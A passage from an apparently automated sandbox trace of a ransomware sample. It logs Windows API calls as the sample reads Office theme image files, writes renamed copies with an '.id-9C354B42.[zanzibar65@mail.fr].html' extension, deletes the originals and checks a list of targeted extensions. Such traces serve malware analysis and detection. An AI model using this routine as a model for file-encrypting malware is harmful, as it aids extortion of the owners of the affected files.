lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.485] SetEndOfFile (hFile=0x170) returned 1 [0043.485] CloseHandle (hObject=0x170) returned 1 [0043.485] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.485] SetEndOfFile (hFile=0x1f0) returned 1 [0043.486] CloseHandle (hObject=0x1f0) returned 1 [0043.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.487] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0043.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.487] lstrlenW (lpString=".doc") returned 4 [0043.487] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.487] lstrlenW (lpString=".docx") returned 5 [0043.487] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.487] lstrlenW (lpString=".pdf") returned 4 [0043.487] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.487] lstrlenW (lpString=".xls") returned 4 [0043.487] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.487] lstrlenW (lpString=".xlsx") returned 5 [0043.487] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.487] lstrlenW (lpString=".ppt") returned 4 [0043.487] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.487] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.487] lstrlenW (lpString=".zip") returned 4 [0043.487] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.487] lstrlenW (lpString=".rar") returned 4 [0043.487] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.488] lstrlenW (lpString=".bz2") returned 4 [0043.488] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.488] lstrlenW (lpString=".7z") returned 3 [0043.488] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.488] lstrlenW (lpString=".dbf") returned 4 [0043.488] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.488] lstrlenW (lpString=".1cd") returned 4 [0043.488] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.488] lstrlenW (lpString=".jpg") returned 4 [0043.488] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.488] lstrlenW (lpString=".doc") returned 4 [0043.488] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.488] lstrlenW (lpString=".docx") returned 5 [0043.488] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.488] lstrlenW (lpString=".pdf") returned 4 [0043.488] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.488] lstrlenW (lpString=".xls") returned 4 [0043.488] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.488] lstrlenW (lpString=".xlsx") returned 5 [0043.488] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.488] lstrlenW (lpString=".ppt") returned 4 [0043.488] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.488] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.488] lstrlenW (lpString=".zip") returned 4 [0043.488] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.488] lstrlenW (lpString=".rar") returned 4 [0043.488] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.488] lstrlenW (lpString=".bz2") returned 4 [0043.489] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.489] lstrlenW (lpString=".7z") returned 3 [0043.489] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.489] lstrlenW (lpString=".dbf") returned 4 [0043.489] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.489] lstrlenW (lpString=".1cd") returned 4 [0043.489] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.489] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0043.489] lstrlenW (lpString=".jpg") returned 4 [0043.489] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.489] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.489] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.489] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1453) returned 1 [0043.489] CloseHandle (hObject=0x1f0) returned 1 [0043.489] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0043.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.490] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.490] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.492] GetLastError () returned 0x0 [0043.492] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x5ad, lpOverlapped=0x0) returned 1 [0043.493] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0043.494] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.494] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.494] SetEndOfFile (hFile=0x170) returned 1 [0043.495] CloseHandle (hObject=0x170) returned 1 [0043.495] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.495] SetEndOfFile (hFile=0x1f0) returned 1 [0043.495] CloseHandle (hObject=0x1f0) returned 1 [0043.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.496] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 1 [0043.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.496] lstrlenW (lpString=".doc") returned 4 [0043.496] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.496] lstrlenW (lpString=".docx") returned 5 [0043.496] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.496] lstrlenW (lpString=".pdf") returned 4 [0043.496] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.496] lstrlenW (lpString=".xls") returned 4 [0043.496] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.496] lstrlenW (lpString=".xlsx") returned 5 [0043.496] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.496] lstrlenW (lpString=".ppt") returned 4 [0043.496] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.496] lstrlenW (lpString=".zip") returned 4 [0043.496] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.496] lstrlenW (lpString=".rar") returned 4 [0043.496] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.496] lstrlenW (lpString=".bz2") returned 4 [0043.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.497] lstrlenW (lpString=".7z") returned 3 [0043.497] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.497] lstrlenW (lpString=".dbf") returned 4 [0043.497] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.497] lstrlenW (lpString=".1cd") returned 4 [0043.497] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.497] lstrlenW (lpString=".jpg") returned 4 [0043.497] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.497] lstrlenW (lpString=".doc") returned 4 [0043.497] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.497] lstrlenW (lpString=".docx") returned 5 [0043.497] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.497] lstrlenW (lpString=".pdf") returned 4 [0043.497] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.497] lstrlenW (lpString=".xls") returned 4 [0043.497] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.497] lstrlenW (lpString=".xlsx") returned 5 [0043.497] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.497] lstrlenW (lpString=".ppt") returned 4 [0043.497] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.497] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.497] lstrlenW (lpString=".zip") returned 4 [0043.497] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.497] lstrlenW (lpString=".rar") returned 4 [0043.497] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.497] lstrlenW (lpString=".bz2") returned 4 [0043.497] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.497] lstrlenW (lpString=".7z") returned 3 [0043.498] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.498] lstrlenW (lpString=".dbf") returned 4 [0043.498] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.498] lstrlenW (lpString=".1cd") returned 4 [0043.498] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.498] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF") returned 72 [0043.498] lstrlenW (lpString=".jpg") returned 4 [0043.498] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.498] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.498] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.498] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.499] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=25106) returned 1 [0043.499] CloseHandle (hObject=0x1f0) returned 1 [0043.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0043.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.499] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.499] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.500] GetLastError () returned 0x0 [0043.500] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x6212, lpOverlapped=0x0) returned 1 [0043.501] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x6220, lpOverlapped=0x0) returned 1 [0043.557] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.557] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.557] SetEndOfFile (hFile=0x170) returned 1 [0043.557] CloseHandle (hObject=0x170) returned 1 [0043.557] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.557] SetEndOfFile (hFile=0x1f0) returned 1 [0043.560] CloseHandle (hObject=0x1f0) returned 1 [0043.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.560] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0043.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.560] lstrlenW (lpString=".doc") returned 4 [0043.560] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.560] lstrlenW (lpString=".docx") returned 5 [0043.561] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.561] lstrlenW (lpString=".pdf") returned 4 [0043.561] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.561] lstrlenW (lpString=".xls") returned 4 [0043.561] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.561] lstrlenW (lpString=".xlsx") returned 5 [0043.561] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.561] lstrlenW (lpString=".ppt") returned 4 [0043.561] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.561] lstrlenW (lpString=".zip") returned 4 [0043.561] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.561] lstrlenW (lpString=".rar") returned 4 [0043.561] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.561] lstrlenW (lpString=".bz2") returned 4 [0043.561] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.561] lstrlenW (lpString=".7z") returned 3 [0043.561] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.561] lstrlenW (lpString=".dbf") returned 4 [0043.561] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.561] lstrlenW (lpString=".1cd") returned 4 [0043.561] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.561] lstrlenW (lpString=".jpg") returned 4 [0043.561] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.561] lstrlenW (lpString=".doc") returned 4 [0043.561] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.561] lstrlenW (lpString=".docx") returned 5 [0043.561] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.562] lstrlenW (lpString=".pdf") returned 4 [0043.562] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.562] lstrlenW (lpString=".xls") returned 4 [0043.562] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.562] lstrlenW (lpString=".xlsx") returned 5 [0043.562] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.562] lstrlenW (lpString=".ppt") returned 4 [0043.562] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.562] lstrlenW (lpString=".zip") returned 4 [0043.562] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.562] lstrlenW (lpString=".rar") returned 4 [0043.562] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.562] lstrlenW (lpString=".bz2") returned 4 [0043.562] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.562] lstrlenW (lpString=".7z") returned 3 [0043.562] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.562] lstrlenW (lpString=".dbf") returned 4 [0043.562] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.562] lstrlenW (lpString=".1cd") returned 4 [0043.562] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0043.562] lstrlenW (lpString=".jpg") returned 4 [0043.562] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.562] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.562] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.563] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1347) returned 1 [0043.563] CloseHandle (hObject=0x1f0) returned 1 [0043.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0043.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0043.564] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.564] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0043.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.566] GetLastError () returned 0x0 [0043.566] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x543, lpOverlapped=0x0) returned 1 [0043.567] WriteFile (in: hFile=0x170, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x550, lpOverlapped=0x0) returned 1 [0043.568] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0043.568] WriteFile 